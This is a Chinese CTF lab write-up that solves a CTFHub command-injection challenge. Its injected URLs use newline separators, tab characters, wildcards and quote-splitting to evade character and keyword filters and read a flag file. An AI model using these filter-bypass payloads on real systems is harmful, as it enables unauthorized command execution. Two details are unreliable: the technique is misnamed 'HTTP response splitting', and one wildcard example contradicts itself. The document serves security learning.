0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
综合过滤练习:
同时过滤了前面几个小节的内容,如何打出漂亮的组合拳呢?
0x02 解题过程
Ⅰ检查网页源代码发现这次网页对 | 、 && 、 || 、 \ 、 / 、; ,都进行了过滤处理。在之前的文章有对一些常见的 URL 绕过字符使用方法做一个简单的总结。这里先输入本地 IP 进行 ping 命令测试,发现可以正常回显。
Ⅱ根据网页源代码的过滤内容排除掉可测试的字符,还有换行符 %0a 和回车符 %0d 可以进行测试。
测试 | 名称 | 字符 | URL编码 |
可测试 | 换行符 | %0a | %0a |
可测试 | 回车符 | %0d | %0d |
可测试 | 空格符 | %20 | %20 |
已过滤 | 管道符 | | | %7c |
已过滤 | 逻辑与操作符 | && | %26%26 |
已过滤 | 逻辑或操作符 | || | %7c%7c |
可测试 | 小于号 | < | %3c |
可测试 | 大于号 | > | %3e |
可测试 | 双引号 | " | %22 |
可测试 | 单引号 | ' | %27 |
已过滤 | 反斜杠 | \ | %5c |
已过滤 | 正斜杠 | / | %2f |
已过滤 | 路径分隔符 | ; | %3b |
已排除 | 查询符号 | ? | %3f |
Ⅲ测试发现换行符 %0a 可以绕过网页过滤,具体方法是通过 HTTP 响应拆分攻击来插入恶意代码。
http://challenge-11d839953a631e6b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als
Ⅳ刚刚用 ls 命令查看到了一个可疑文件夹 flag_is_here 。一开始直接用 ls flag_is_here 查看 flag 文件中的内容。发现回显为空。排查了一会发现网页源代码中还过滤了几个字符,分别是 cat 、 flag 、 ctfhub 。这里尝试使用 %09 ( URL 编码中 表示 Tab 制表符)加上通配符进行绕过,具体原理将在后文做出详细的解释。
注意:在 Linux 中使用 Tab 键,可以实现命令补全、文件和目录名补全等。
http://challenge-11d839953a631e6b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als%09*here
Ⅴ成功使用通配符绕过后发现一个 flag.php 的文件。因为 cat 命令被过滤了,但是单、双引号是没有被过滤的,使用单引号绕过 cat 过滤。方法: 'c'a't ,在 URL 中为: %27c%27a%27t 。
http://challenge-11d839953a631e6b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd%09*here%0ac%27a%27t%09*_24761388917358.php
Ⅵ观察发现与之前的几个题目一样,有一个空回显,检查网页源代码发现此题 flag 。
0x03 关于通配符的使用
1.关于 * 通配符以及它的作用
在 Linux 命令行中使用通配符时, * (星号)作为通配符,表示代替任意字符的任意次数。它可以在搜索和处理文本时更加便捷。使用 * 通配符,可以匹配任意长度的字符序列,从而实现模糊搜索和批量操作。
2.关于 * 通配符的使用示例
Ⅰ列出所有以 .sh 结尾的文件
ls *.sh
Ⅱ列出所有以字符 flag 开头的文件
ls flag*
Ⅲ列出所有以字符 here 结尾的文件
ls *here
Ⅳ列出所有以字母 f 开头、以字母 e 结尾的文件
ls f*e
Ⅴ复制所有以 .py 结尾的文件到另一个目录
cp *.py /usr/src
注意: 关于 * 通配符的使用,可以融会贯通,灵活运用。
3.关于 Linux 中常见的通配字符
通配符 | 使用说明 |
* 星号 | 表示匹配任意字符的任意次数。例,*.sh可以匹配所有以.sh后缀结尾的文件。 |
? 问号 | 表示匹配任意单个字符。例,ctf?.sh可以匹配"ctf1.sh"、"ctf2.sh"...... |
{} 花括号 | 表示匹配指定一组自选的字符。例,{ctf1,ctf2}.sh可以匹配"ctf1.sh"和"ctf2.sh"。 |
[!] 取反方括号 | 表示匹配不在方括号内的任意一个字符。例,ctf[!123].txt可以匹配除了"ctf1.sh"、"ctf2.sh"和"ctf3.sh"以外的任何文件。 |
[] 方括号 | 表示匹配方括号内的任意一个字符。例,ctf[123].sh可以匹配"ctf1.sh"、"ctf2.sh"或"ctf3.sh"。 |
注意:在此题中还可以使用 {} 花括号通配符以及其他通配符进行搭配使用。
0x04 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。